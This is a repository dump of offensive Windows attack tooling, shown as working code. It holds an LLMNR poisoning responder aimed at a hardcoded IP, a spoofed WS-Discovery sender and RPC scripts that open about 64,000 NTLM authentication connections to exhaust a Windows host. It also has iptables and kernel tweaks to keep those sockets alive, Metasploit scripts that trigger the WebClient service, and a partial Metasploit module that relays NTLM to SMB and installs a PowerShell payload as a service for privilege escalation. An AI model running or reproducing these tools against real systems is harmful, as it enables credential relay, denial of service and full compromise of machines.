├── blah.txt
├── README.md
├── wpad_llmnr.py
├── soapy.py
├── rpc_con_flood.py
├── railgun_trigger.rb
├── service_triggers.rb
├── rpc_blast.py
├── one_day.rb
└── reflection_testing.py
/blah.txt:
--------------------------------------------------------------------------------
1 | I really miss this kind of stuff :(
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Stuff that is very usefull in special situations
2 |
3 | railgun_trigger.rb = Some notes about railgun and event/service triggers
4 |
5 | wpad_lmnr.py = a simple llmnr respoder.
6 |
7 | soapy.py = a simple WebServicesOnDevice responder, should... make a connection to IP/Port specified.
8 |
9 | rpc_con_flood.py = Make 60k auth request via rpc and leave them open... 0.o
10 |
11 | reflection_testing.py = a exploitation testing script for issue 222... the options!
12 |
13 |
14 |
--------------------------------------------------------------------------------
/wpad_llmnr.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import binascii
4 |
5 | MCAST_GRP = '224.0.0.252'
6 | MCAST_PORT = 5355
7 |
8 | malip = '192.168.1.137'
9 | port = 5355
10 |
11 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
12 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
13 | # bind to multicast ip and port
14 | sock.bind((MCAST_GRP, MCAST_PORT))
15 | # notify that we are listening
16 | mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY)
17 | sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
18 |
19 |
20 |
21 | # trusty packet construct
22 | def pakit(transid, rname, respip):
23 | msg = transid # msg transact ID
24 | msg += '\x80\00' # quary response
25 | msg += '\x00\x01' # questions = 16
26 | msg += '\x00\x01' # anser RRs = 16
27 | msg += '\x00\x00'
28 | msg += '\x00\x00'
29 | msg += struct.pack(">h",len(rname))[1]
30 | msg += rname
31 | msg += '\x00' # null?
32 | msg += '\x00\x01' # type
33 | msg += '\x00\x01' # class
34 | msg += struct.pack(">h",len(rname))[1] # has to have this
35 | msg += rname
36 | msg += '\x00' # null?
37 | msg += '\x00\x01' # Type
38 | msg += '\x00\x01' # class # 01 = IN
39 | msg += '\x00\x00\x00\x1e' # poison time 30sec
40 | msg += '\x00\x04' # IP len ???
41 | msg += socket.inet_aton(respip)
42 | return msg
43 |
44 |
45 | # parse the sequence num, name, and quary type A or AAAA
46 | def parse_llmnr(data):
47 | NameLen = struct.unpack('>B',data[12])[0]
48 | Name = data[13:13+NameLen]
49 | Tid=data[0:2]
50 | Typ=data[len(data)-4:len(data)-2]
51 | return Name, Tid, Typ
52 |
53 |
54 | while True:
55 | pkt, ip = sock.recvfrom(1024)
56 | if pkt != '':
57 | # parse the name and transact ID
58 | nam, tid, typ = parse_llmnr(pkt)
59 | # only respond to type A
60 | if typ == '\x00\x01':
61 | # package it up for the response
62 | msg = pakit(tid, nam, malip)
63 | # Send the reply from our bound socket to incoming ip and port
64 | sock.sendto(msg, (ip[0], ip[1]))
65 | # print the hex of everything
66 | print binascii.hexlify(tid), nam, binascii.hexlify(pkt)
67 |
--------------------------------------------------------------------------------
/soapy.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import binascii
4 | import time
5 |
6 | MCAST_GRP = '224.0.0.252'
7 | MCAST_PORT = 3702
8 |
9 | send_ip = '239.255.255.250'
10 | malip = '127.0.0.1'
11 | port = 3702
12 |
13 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
14 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
15 | sock.bind(('127.0.0.1', 64444)) # use MCAST_GRP instead of '' to listen only to MCAST_GRP, not all groups on MCAST_PORT
16 | mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY)
17 | sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
18 |
19 |
20 | aaa = '''urn:schemas-xmlsoap-org:ws:2005:04:discoveryhttp://schemas.xmlsoap.org/ws/2005/04/discovery/Hellourn:uuid:b1233b21-ebf7-45d8-9432-24b2fd819322urn:uuid:efd10641-9f23-4fd3-98a4-02c3d2b28e66wsdp:Device pub:Computerhttp://127.0.0.1:5358/efd10641-9f23-4fd3-98a4-02c3d2b28e66/1'''
21 |
22 | aa = '''urn:schemas-xmlsoap-org:ws:2005:04:discoveryhttp://schemas.xmlsoap.org/ws/2005/04/discovery/Probeurn:uuid:b1233b21-ebf7-45d8-9432-24b2fd819322wsdp:Device'''
23 |
24 |
25 | while True:
26 | time.sleep(1)
27 | ss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
28 | sock.sendto(aa, (send_ip, port))
29 | sock.sendto(aaa, (send_ip, port))
30 |
--------------------------------------------------------------------------------
/rpc_con_flood.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import *
2 | from impacket.dcerpc.v5 import transport, dcomrt
3 | from impacket.uuid import string_to_bin, uuidtup_to_bin
4 | # This should make 60,000+ open connections on a windows box
5 | # rpc has a crazy default timeout so they last awile.. 15min+
6 | # All connections are also authentication requests...
7 | # Sometimes tcp will fail, sometimes it wont.
8 | # Its rather fun regardless!
9 |
10 | def first_msg_transfer(first_auth_packet, rtransport):
11 | abstract_syntax = ('99fcfec4-5260-101b-bbcb-00aa0021347a', '0.0')
12 | transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
13 | ctx = 0
14 | callid = 1
15 | bind = MSRPCBind()
16 | item = CtxItem()
17 | item['AbstractSyntax'] = uuidtup_to_bin(abstract_syntax)
18 | item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)
19 | item['ContextID'] = ctx
20 | item['TransItems'] = 1
21 | bind.addCtxItem(item)
22 | packet = MSRPCHeader()
23 | packet['type'] = MSRPC_BIND
24 | packet['pduData'] = str(bind)
25 | packet['call_id'] = callid
26 | sec_trailer = SEC_TRAILER()
27 | sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
28 | sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
29 | sec_trailer['auth_ctx_id'] = ctx + 79231
30 | pad = (4 - (len(packet.get_packet()) % 4)) % 4
31 | if pad != 0:
32 | packet['pduData'] += '\xFF'*pad
33 | sec_trailer['auth_pad_len']=pad
34 | packet['sec_trailer'] = sec_trailer
35 | # We insert that shit here!!!!!!!!!!
36 | packet['auth_data'] = str(first_auth_packet)
37 | rtransport.connect()
38 | rtransport.send(packet.get_packet())
39 |
40 |
41 | ip = '192.168.1.1'
42 | stringBinding = r'ncacn_ip_tcp:%s' % ip
43 | rtransport = transport.DCERPCTransportFactory(stringBinding)
44 |
45 | # You can mess with the flags if you like!
46 | dummy_ntlm = 'NTLMSSP\x00\x01\x00\x00\x00\x06\xb2\x08\xa2\t\x00\t\x00\x30\x00\x00\x00\x08\x00\x08\x00(\x00\x00\x00\n\x00\x00(\x00\x00\x00\x0fCOMPNAMEWORKGROUP'
47 |
48 | for i in range(64000):
49 | first_msg_transfer(dummy_ntlm, rtransport)
50 | print 'Making Connection: %s' % i
51 |
52 |
53 |
54 |
55 | # We need to edit linux a bit to block some packets, its pretty simple.
56 | # To Enable It #
57 | '''
58 | iptables -I OUTPUT -p tcp --tcp-flags FIN,ACK FIN,ACK -j DROP
59 | iptables -I OUTPUT -p tcp --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP
60 | iptables -I OUTPUT -p tcp --tcp-flags RST,ACK RST,ACK -j DROP
61 | # Remove the finwait1
62 | echo 0 > /proc/sys/net/ipv4/tcp_max_orphans
63 | # Set a larger port range
64 | echo '1024 65000' > /proc/sys/net/ipv4/ip_local_port_range
65 | '''
66 |
67 | # To Disable It #
68 | '''
69 | iptables -F
70 | echo 4096 > /proc/sys/net/ipv4/tcp_max_orphans
71 | echo '32768 61000' > /proc/sys/net/ipv4/ip_local_port_range
72 | '''
73 |
--------------------------------------------------------------------------------
/railgun_trigger.rb:
--------------------------------------------------------------------------------
1 | # Works on 64bit win10 with 64bit meter.
2 | # Crashes on 32bit meter with EventWrite,
3 | # have not tested with 7, 8, 8.1
4 |
5 | # Add the EventRegister function
6 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363744%28v=vs.85%29.aspx
7 | client.railgun.add_function('advapi32', 'EventRegister', 'DWORD', [
8 | ['PBLOB', 'ProviderId', 'in'],
9 | ['LPVOID', 'EnableCallback', 'inout'],
10 | ['LPVOID', 'CallbackContext', 'inout'],
11 | ['PDWORD', 'RegHandle', 'out'],
12 | ])
13 |
14 | # Add the EventWriteString function, could also be EventWrite
15 | # https://msdn.microsoft.com/is-is/library/windows/desktop/aa363750%28v=vs.85%29.aspx
16 | client.railgun.add_function('advapi32', 'EventWriteString', 'DWORD',[
17 | ['HANDLE', 'RegHandle', 'in'],
18 | ['DWORD', 'Level', 'in'],
19 | ['DWORD', 'Keyword', 'in'],
20 | ['PCHAR', 'String', 'in'],
21 | ])
22 |
23 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363749%28v=vs.85%29.aspx
24 | client.railgun.add_function('advapi32', 'EventUnregister', 'DWORD',[
25 | ['HANDLE', 'RegHandle', 'in'],
26 | ])
27 |
28 | # The way to format our guid correctly!
29 | def string_to_guid(guid)
30 | aguid = guid.gsub(/\-/,"")
31 | sguid = aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
32 | sguid << aguid[10,2] + aguid[8,2] + aguid[14,2] + aguid[12,2] + aguid[16,4]
33 | sguid << aguid[20,12]
34 | sguid = [sguid].pack("H*")
35 | return sguid
36 | end
37 |
38 |
39 | # Windows error reporting guid
40 | # wer = 'e46eead8-0c54-4489-9898-8fa79d059e0e'
41 | # WebClient guid!
42 | webclnt = '22b6d684-fa63-4578-87c9-effcbe6643c7'
43 |
44 | # Format the guid and get the reghandle
45 | ggid = string_to_guid(webclnt)
46 | # Register the event and get back the handle
47 | evnt = client.railgun.advapi32.EventRegister(ggid,nil,nil,4)
48 |
49 | # Use the handle to write our eventstring, it must be null terminated atleast it says so lol!
50 | client.railgun.advapi32.EventWriteString(evnt['RegHandle'], nil, nil, '\0')
51 |
52 | # Unregister the event
53 | client.railgun.advapi32.EventUnregister(evnt['RegHandle'])
54 |
55 | #############################################################################################
56 | #############################################################################################
57 | =begin
58 | ## https://msdn.microsoft.com/en-us/library/system.diagnostics.eventing.eventdescriptor%28v=vs.110%29.aspx
59 | # new EventDescriptor(0x1, 0x0, 0x10, 0x4, 0x0, 0x0, (long)0x8000000000000005)
60 | # This is whats in our example EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0)
61 |
62 |
63 | # Add the function EventWrite
64 | client.railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
65 | ['HANDLE', 'RegHandle', 'in'],
66 | ['PBLOB', 'EventDescriptor', 'in'],
67 | ['DWORD', 'UserDataCount', 'in'],
68 | ['DWORD', 'UserData', 'inout'],
69 | ])
70 |
71 | client.railgun.advapi32.EventWrite(evnt['RegHandle'], ['101040080000000000000005'].pack('H*'), 0, nil)
72 | =end
73 |
--------------------------------------------------------------------------------
/service_triggers.rb:
--------------------------------------------------------------------------------
1 | ###
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ### Tested on win10 64bit
5 |
6 | # TODO Lots of error checking, also we could check and list every service that could be used.
7 | class Metasploit3 < Msf::Post
8 |
9 | def initialize(info={})
10 | super( update_info( info,
11 | 'Name' => 'Windows Service Trigger Activation (ETW)',
12 | 'Description' => %q{
13 | This module uses service triggers (ETW) to start a service as a lower privilege user.
14 | Be careful to make sure you are on a proper meterp session, aka 64 => 64 otherwise
15 | you might crash your session. To get the guid for a service execute
16 | sc.exe qtriggerinfo servicename, you are looking for the ETW Provider GUID.
17 | This module could also have other uses!
18 | },
19 | 'License' => MSF_LICENSE,
20 | 'Author' => ['vvalien'],
21 | 'Platform' => 'win',
22 | 'SessionTypes' => [ 'meterpreter' ]
23 | ))
24 |
25 | register_options([
26 | OptString.new( 'GUID_TRIGGER', [ true, 'The GUID to trigger', '22b6d684-fa63-4578-87c9-effcbe6643c7']) #WebClient
27 | ], self.class)
28 | end
29 |
30 | def run
31 | # set the guid
32 | guid = datastore['GUID_TRIGGER']
33 | guid = guid_magic(guid)
34 | print_status("Loading railgun")
35 | load_railgun
36 | print_status("Registering event..")
37 | fire_railgun(guid)
38 | print_good("Finished")
39 | end
40 |
41 | def guid_magic(guid)
42 | aguid = guid.gsub(/\-/,"")
43 | sguid = aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
44 | sguid << aguid[10,2] + aguid[8,2] + aguid[14,2] + aguid[12,2] + aguid[16,4]
45 | sguid << aguid[20,12]
46 | sguid = [sguid].pack("H*")
47 | return sguid
48 | end
49 |
50 |
51 | def load_railgun()
52 | # Add the EventRegister function
53 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363744%28v=vs.85%29.aspx
54 | client.railgun.add_function('advapi32', 'EventRegister', 'DWORD',[
55 | ['PBLOB', 'ProviderId', 'in'],
56 | ['LPVOID', 'EnableCallback', 'inout'],
57 | ['LPVOID', 'CallbackContext', 'inout'],
58 | ['PDWORD', 'RegHandle', 'out'],
59 | ])
60 |
61 | # Add the EventWriteString function, could also be EventWrite
62 | # https://msdn.microsoft.com/is-is/library/windows/desktop/aa363750%28v=vs.85%29.aspx
63 | client.railgun.add_function('advapi32', 'EventWriteString', 'DWORD',[
64 | ['HANDLE', 'RegHandle', 'in'],
65 | ['DWORD', 'Level', 'in'],
66 | ['DWORD', 'Keyword', 'in'],
67 | ['PCHAR', 'String', 'in'],
68 | ])
69 |
70 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa363749%28v=vs.85%29.aspx
71 | client.railgun.add_function('advapi32', 'EventUnregister', 'DWORD',[
72 | ['HANDLE', 'RegHandle', 'in'],
73 | ])
74 | end
75 |
76 | def fire_railgun(guid)
77 | # Register the event and get back the handle
78 | evnt = client.railgun.advapi32.EventRegister(guid,nil,nil,4)
79 | # Use the handle to write our eventstring!
80 | client.railgun.advapi32.EventWriteString(evnt['RegHandle'], nil, nil, '')
81 | # Unregister to clean it up
82 | client.railgun.advapi32.EventUnregister(evnt['RegHandle'])
83 | end
84 | end
85 |
--------------------------------------------------------------------------------
/rpc_blast.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import *
2 | from impacket.dcerpc.v5 import transport, dcomrt
3 | from impacket.uuid import string_to_bin, uuidtup_to_bin
4 | import sys, os, struct
5 | # This should make 60,000+ open connections on a windows box
6 | # rpc has a crazy default timeout so they last awile.. 15min+
7 | # All connections are also authentication requests...
8 | # Sometimes tcp will fail, sometimes it wont.
9 | # Its rather fun regardless!
10 |
11 |
12 | def first_msg_transfer(first_auth_packet, rtransport):
13 | abstract_syntax = ('99fcfec4-5260-101b-bbcb-00aa0021347a', '0.0')
14 | transfer_syntax = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
15 | ctx = 0
16 | callid = 1
17 | bind = MSRPCBind()
18 | item = CtxItem()
19 | item['AbstractSyntax'] = uuidtup_to_bin(abstract_syntax)
20 | item['TransferSyntax'] = uuidtup_to_bin(transfer_syntax)
21 | item['ContextID'] = ctx
22 | item['TransItems'] = 1
23 | bind.addCtxItem(item)
24 | packet = MSRPCHeader()
25 | packet['type'] = MSRPC_BIND
26 | packet['pduData'] = str(bind)
27 | packet['call_id'] = callid
28 | sec_trailer = SEC_TRAILER()
29 | sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
30 | sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_CONNECT
31 | sec_trailer['auth_ctx_id'] = ctx + 79231
32 | pad = (4 - (len(packet.get_packet()) % 4)) % 4
33 | if pad != 0:
34 | packet['pduData'] += '\xFF'*pad
35 | sec_trailer['auth_pad_len']=pad
36 | packet['sec_trailer'] = sec_trailer
37 | # We insert that shit here!!!!!!!!!!
38 | packet['auth_data'] = str(first_auth_packet)
39 | rtransport.connect()
40 | rtransport.send(packet.get_packet())
41 |
42 |
43 | if len(sys.argv) < 3:
44 | print("%s " % sys.argv[0])
45 | print("%s iptables " % sys.argv[0])
46 | sys.exit(0)
47 |
48 | if sys.argv[1] == "iptables":
49 | if sys.argv[2] == "enable":
50 | os.system("iptables -I OUTPUT -p tcp --tcp-flags FIN,ACK FIN,ACK -j DROP")
51 | os.system("iptables -I OUTPUT -p tcp --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP")
52 | os.system("iptables -I OUTPUT -p tcp --tcp-flags RST,ACK RST,ACK -j DROP")
53 | # Remove the finwait1
54 | os.system("echo 0 > /proc/sys/net/ipv4/tcp_max_orphans")
55 | # Set a larger port range
56 | os.system("echo '1024 65000' > /proc/sys/net/ipv4/ip_local_port_range")
57 | sys.exit(0)
58 | elif sys.argv[2] == "disable":
59 | os.system("iptables -F")
60 | os.system("echo 4096 > /proc/sys/net/ipv4/tcp_max_orphans")
61 | os.system("echo '32768 61000' > /proc/sys/net/ipv4/ip_local_port_range")
62 | sys.exit(0)
63 | else:
64 | print("Please use enable or disable, disable will flush iptables")
65 | print("Thank You!")
66 | sys.exit(0)
67 |
68 |
69 |
70 | ip = sys.argv[1]
71 | stringBinding = r'ncacn_ip_tcp:%s' % ip
72 | rtransport = transport.DCERPCTransportFactory(stringBinding)
73 | comp = "COMP"
74 | domain = "DOMAIN"
75 | if len(sys.argv) < 4:
76 | comp, domain = sys.argv[2].upper().split("/") # upcase then split
77 | print("Using %s/%s for Computer and Domain name" % (comp, domain))
78 |
79 |
80 | # You can mess with the flags if you like!
81 | # Works but not easy to change the computer/domain because of length... so we use this
82 | # doesnt seem like much but i used to think this was impossible for me :p
83 | dummy_ntlm = 'NTLMSSP\x00\x01\x00\x00\x00'
84 | dummy_ntlm += "\x06\xb2\x08\xa2" #flags # struct.pack("I", 0xa208b206) ;)
85 | dummy_ntlm += struct.pack("h", len(domain))
86 | dummy_ntlm += struct.pack("h", len(domain))
87 | dummy_ntlm += "\x00\x00\x00\x00" # 20:24
88 | dummy_ntlm += struct.pack("h", len(comp))
89 | dummy_ntlm += struct.pack("h", len(comp))
90 | dummy_ntlm += "\x00\x00\x00\x00" # 28:32
91 | dummy_ntlm += "\x0a\x00\x00\x28\x00\x00\x00\x0f" # version!
92 | # how its done!
93 | dummy_ntlm = dummy_ntlm[:20] + struct.pack("i", len(dummy_ntlm)) + dummy_ntlm[24:]
94 | dummy_ntlm += domain
95 | dummy_ntlm = dummy_ntlm[:28] + struct.pack("i", len(dummy_ntlm)) + dummy_ntlm[32:]
96 | dummy_ntlm += comp
97 |
98 |
99 | def con_spam():
100 | count = 0
101 | for i in range(64000):
102 | if i % 10000 == 0:
103 | count += 1
104 | print("Made %sk connects" % count)
105 | first_msg_transfer(dummy_ntlm, rtransport)
106 | #print 'Making Connection: %s' % i
107 | con_spam()
108 |
--------------------------------------------------------------------------------
/one_day.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 | require 'rex'
6 | require 'msf/core'
7 |
8 | # Removed some things that should be included...
9 | class MetasploitModule < Msf::Exploit::Local
10 | Rank = ExcellentRanking
11 | # errors with remove_socket
12 | # include Msf::Exploit::Remote::SMB::Client::Psexec
13 | include Rex::Constants::Windows
14 | include Msf::Exploit::Powershell
15 | include Msf::Exploit::EXE
16 | include Msf::Exploit::WbemExec
17 |
18 |
19 | def initialize(info = {})
20 | super(update_info(info,
21 | 'Name' => 'Windows Local Priv NTLM Reflection',
22 | 'Description' => %q{
23 | This module relays NTLM Credentials from Windows via WebClient and replays them
24 | back to smb. It is usefull for local priv and other things, upon successful connect
25 | it will let you use powershell to execute a msf payload installed as a service.
26 | WebClient must be enabled but you can do that via the service_trigger post module.
27 | This module works for ALL windows versions, however you will need to find a vulnerable
28 | process running as SYSTEM that can connect to the localhost.
29 | },
30 | 'Author' =>
31 | [
32 | 'vvalien' # ... still delivering pizza =[
33 | # 'breenmachine', # Potato
34 | # 'tiraniddo' # Orignal POC
35 | ],
36 | 'License' => MSF_LICENSE,
37 | 'SessionTypes' => [ 'meterpreter' ],
38 | 'Payload' =>
39 | {
40 | 'Space' => 3072,
41 | 'DisableNops' => true,
42 | 'StackAdjustment' => -3500
43 | },
44 | 'References' =>
45 | [
46 | [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=222' ],
47 | [ 'URL', 'http://foxglovesecurity.com/2016/01/16/hot-potato/' ]
48 | ],
49 | 'DisclosureDate' => 'Jan 01 1999',
50 | 'Platform' => 'win',
51 | 'Arch' => [ARCH_X86, ARCH_X86_64],
52 | 'Targets' =>
53 | [ # not fully implamented yet
54 | [ 'PowerShell', { } ],
55 | [ 'Native upload', { } ],
56 | [ 'MOF upload', { } ]
57 | ],
58 | 'DefaultTarget' => 0
59 | ))
60 |
61 |
62 |
63 | # No importing psexec this way, which errors out with remove_socket
64 | register_options([
65 | OptAddress.new('RHOST', [true, "The target address on local system", "127.0.0.1"]),
66 | OptPort.new('RPORT', [true, "Set the SMB service port", 445]),
67 | OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing", nil]),
68 | OptString.new('SERVICE_DISPLAY_NAME', [false, "The service display name", nil]),
69 | OptString.new('SERVICE_NAME', [false, "The service name", nil])
70 | ], self.class)
71 | register_advanced_options([
72 | OptString.new('LocalHost', [false, "The server's internal IP address", "127.0.0.1"]),
73 | OptPort.new('LocalPort', [false, "The server's internal port", 80]), # \\127.0.0.1@SSL@4444\abc.gif
74 | OptBool.new('SERVICE_PERSIST', [false, "Create an Auto run service and do not remove it", false])
75 | ], self.class)
76 | # ReverseListenerComm will work!
77 | deregister_options('SMBPass', 'SMBUser', 'SMBDomain') # This is already set
78 | end
79 |
80 | # would be nice to be able to do this!
81 | =begin
82 | def smb_psexec_simple(ser_sock)
83 | command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
84 | # ser_sock.psexec(command)
85 | end
86 | =end
87 |
88 | # Its staying
89 | def exploit()
90 | setup_railgun()
91 | sleep(1)
92 | end
93 |
94 | # Use win api to create a tcp server on the box
95 | # This actually works really well, maybe consider adding this in future
96 | def setup_railgun()
97 | # Our new added function for railgun (send) will use rubys send.
98 | client.railgun.add_function('ws2_32', 'sendit', 'DWORD',[
99 | ["DWORD","s","in"],
100 | ["PCHAR","buf","in"],
101 | ["DWORD","len","in"],
102 | ["DWORD","flags","in"],
103 | ], windows_name='send')
104 |
105 | handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
106 | sock = handler['return']
107 |
108 | # Setup our socket format
109 | # Incase you want to bind to something other than 127
110 | sock_addr = "\x02\x00"
111 | sock_addr << [datastore['LocalPort']].pack('n')
112 | sock_addr << Rex::Socket.addr_aton(datastore['LocalHost'])
113 | sock_addr << "\x00" * 8
114 |
115 | # Bind, Listen, and then block till we accept.
116 | r = client.railgun.ws2_32.bind(sock, sock_addr, 16)
117 | print_status("Socket bind with ws2_32")
118 | # Set the name here so we can kill it later!
119 | # random_service = Rex::Text.rand_text_alpha((rand(8)+6))
120 | begin
121 | # proc_start(random_service)
122 | # print_status("Process Started")
123 | r = client.railgun.ws2_32.listen(sock, 10)
124 | print_status("Socket is now listening on #{datastore['LocalHost']} we are waiting for a connect")
125 | r = client.railgun.ws2_32.accept(sock, nil, nil)
126 | @n_sock = r['return'] # our new socket
127 | rescue
128 | print_error("Something happened there was a error")
129 | else
130 | railgun_recv_smb_do # handels railgun recv and smb calls
131 | ensure
132 | # If we dont ensure it, it will hold 80 open until restart if error.
133 | print_status("Ensure we close the socket")
134 | client.railgun.ws2_32.closesocket(sock)
135 | client.railgun.ws2_32.closesocket(@n_sock)
136 | if @rsock
137 | @rsock.shutdown()
138 | end
139 | # kill_proc(random_service)
140 | end
141 | end
142 |
143 | # We simply send and msg using our new sendit function
144 | def resp_check_send(b64_ntlm)
145 | snd_buff = "HTTP/1.1 401 Unauthorized\n"
146 | snd_buff << "Server: PizzaDelivery/9 Bro/1.1.1\n"
147 | snd_buff << "Date: Thu, 1 Jan 1970 00:00:01 UTC\n"
148 | snd_buff << "WWW-Authenticate: NTLM #{b64_ntlm}\n"
149 | snd_buff << "Content-type: text/html\n"
150 | snd_buff << "Content-Length: 0\n\n"
151 | r = client.railgun.ws2_32.sendit(@n_sock, snd_buff, snd_buff.length, 0)
152 | sleep(1)
153 | return
154 | end
155 |
156 | def railgun_recv_smb_do()
157 | count = 1
158 | while count < 4 # incase of endless read loop
159 | nt = /NTLM\s((.)*)/ # If it works... keep it!
160 | r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0)
161 | msg = r['buf']
162 | hash = (msg.match nt)
163 | if hash
164 | vprint_status("Got Hash1: #{hash[1]}")
165 | # No need to check which msg, we just continue here
166 | message = Rex::Text.decode_base64(hash[1])
167 | hash2, ser_sock = smb_relay_toserver1(message)
168 | vprint_status("Got Hash2: #{hash2}")
169 | resp_check_send(hash2)
170 | r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0)
171 | msg = r['buf']
172 | hash3 = (msg.match nt)
173 | vprint_status("Got Hash3: #{hash3[1]}")
174 | hash3 = Rex::Text.decode_base64(hash3[1])
175 | ser_sock = smb_relay_toserver3(hash3, ser_sock)
176 | smb_pshell(ser_sock)
177 | break
178 | else
179 | print_status(msg.strip)
180 | resp_check_send(nil)
181 | end
182 | count += 1
183 | end
184 | end
185 |
186 | # Relay ntlm hash1 to smb
187 | def smb_relay_toserver1(hash)
188 | @rsock = Rex::Socket::Tcp.create(
189 | 'PeerHost' => datastore['RHOST'],
190 | 'PeerPort' => datastore['RPORT'],
191 | 'Timeout' => 3,
192 | 'Comm' => client, # OMFG!!! THE PAIN!!!
193 | 'Context' => { 'Msf' => framework, 'MsfExploit'=> self, }
194 | )
195 |
196 | if (not @rsock)
197 | print_error("Could not connect to target host (#{datastore['RHOST']})")
198 | return
199 | end
200 | ser_sock = Rex::Proto::SMB::SimpleClient.new(@rsock, datastore['RPORT'] == 445 ? true : false)
201 |
202 | if (datastore['RPORT'] == '139')
203 | ser_sock.client.session_request()
204 | end
205 |
206 | ser_sock.client.negotiate(true)
207 | ser_sock.client.require_signing = false
208 |
209 | print_status("Starting hash relay")
210 | resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false) # if set true, it automagicly recv's
211 | print_status("Got the response")
212 | resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true)
213 | # Save the user_ID for future requests
214 | ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
215 |
216 | begin
217 | # hash extraction
218 | ntlmsspblob = 'NTLMSSP' << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << "\x00\x00"
219 | rescue ::Exception => e
220 | print_error("Type 2 response not read properly from server")
221 | raise e
222 | end
223 | hash2_b64 = Rex::Text.encode_base64(ntlmsspblob)
224 | return [hash2_b64, ser_sock]
225 | end
226 |
227 |
228 | # relay ntlm hash3 to SMB
229 | def smb_relay_toserver3(hash, ser_sock)
230 | resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false, ser_sock.client.auth_user_id)
231 | resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true)
232 | # check if auth was successful
233 | if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
234 | print_status("SMB auth relay succeeded")
235 | else
236 | failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
237 | failure.word_count = resp['Payload']['SMB'].v['WordCount']
238 | failure.command = resp['Payload']['SMB'].v['Command']
239 | failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
240 | raise failure
241 | end
242 | return ser_sock
243 | end
244 |
245 |
246 | # Stolen from psexec I couldnt figure out how to overwrite the socket
247 | def smb_pshell(ser_sock)
248 | # Connect to the IPC share first
249 | ser_sock.client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
250 | # The uuid for SVCCTL
251 | uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
252 | # Setup the svcctl handle
253 | handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', datastore['RHOST'], ["\\svcctl"])
254 | opts = {
255 | 'Msf' => framework,
256 | 'MsfExploit' => self,
257 | 'smb_pipeio' => 'rw',
258 | 'smb_client' => ser_sock
259 | }
260 | print_status("Bound to #{handle} ...")
261 | # Route the dcerpc pipe over our authenticated socket
262 | dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
263 | svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
264 | # Open the scmanager
265 | scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
266 | # Check to see if persist is on
267 | if datastore['SERVICE_PERSIST']
268 | opts = { :start => SERVICE_AUTO_START }
269 | else
270 | opts = {}
271 | end
272 | peer = datastore['RHOST']
273 | vprint_status("#{peer} - Attempting to create the service...")
274 | service_name = datastore['SERVICE_NAME'] ||= Rex::Text.rand_text_alpha(8)
275 | display_name = datastore['SERVICE_DISPLAY_NAME'] ||= Rex::Text.rand_text_alpha(8)
276 |
277 | # This is where we get our payload at!
278 | command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
279 |
280 | begin
281 | # remember svc_client is routed over our smb connection via dcerpc!
282 | svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
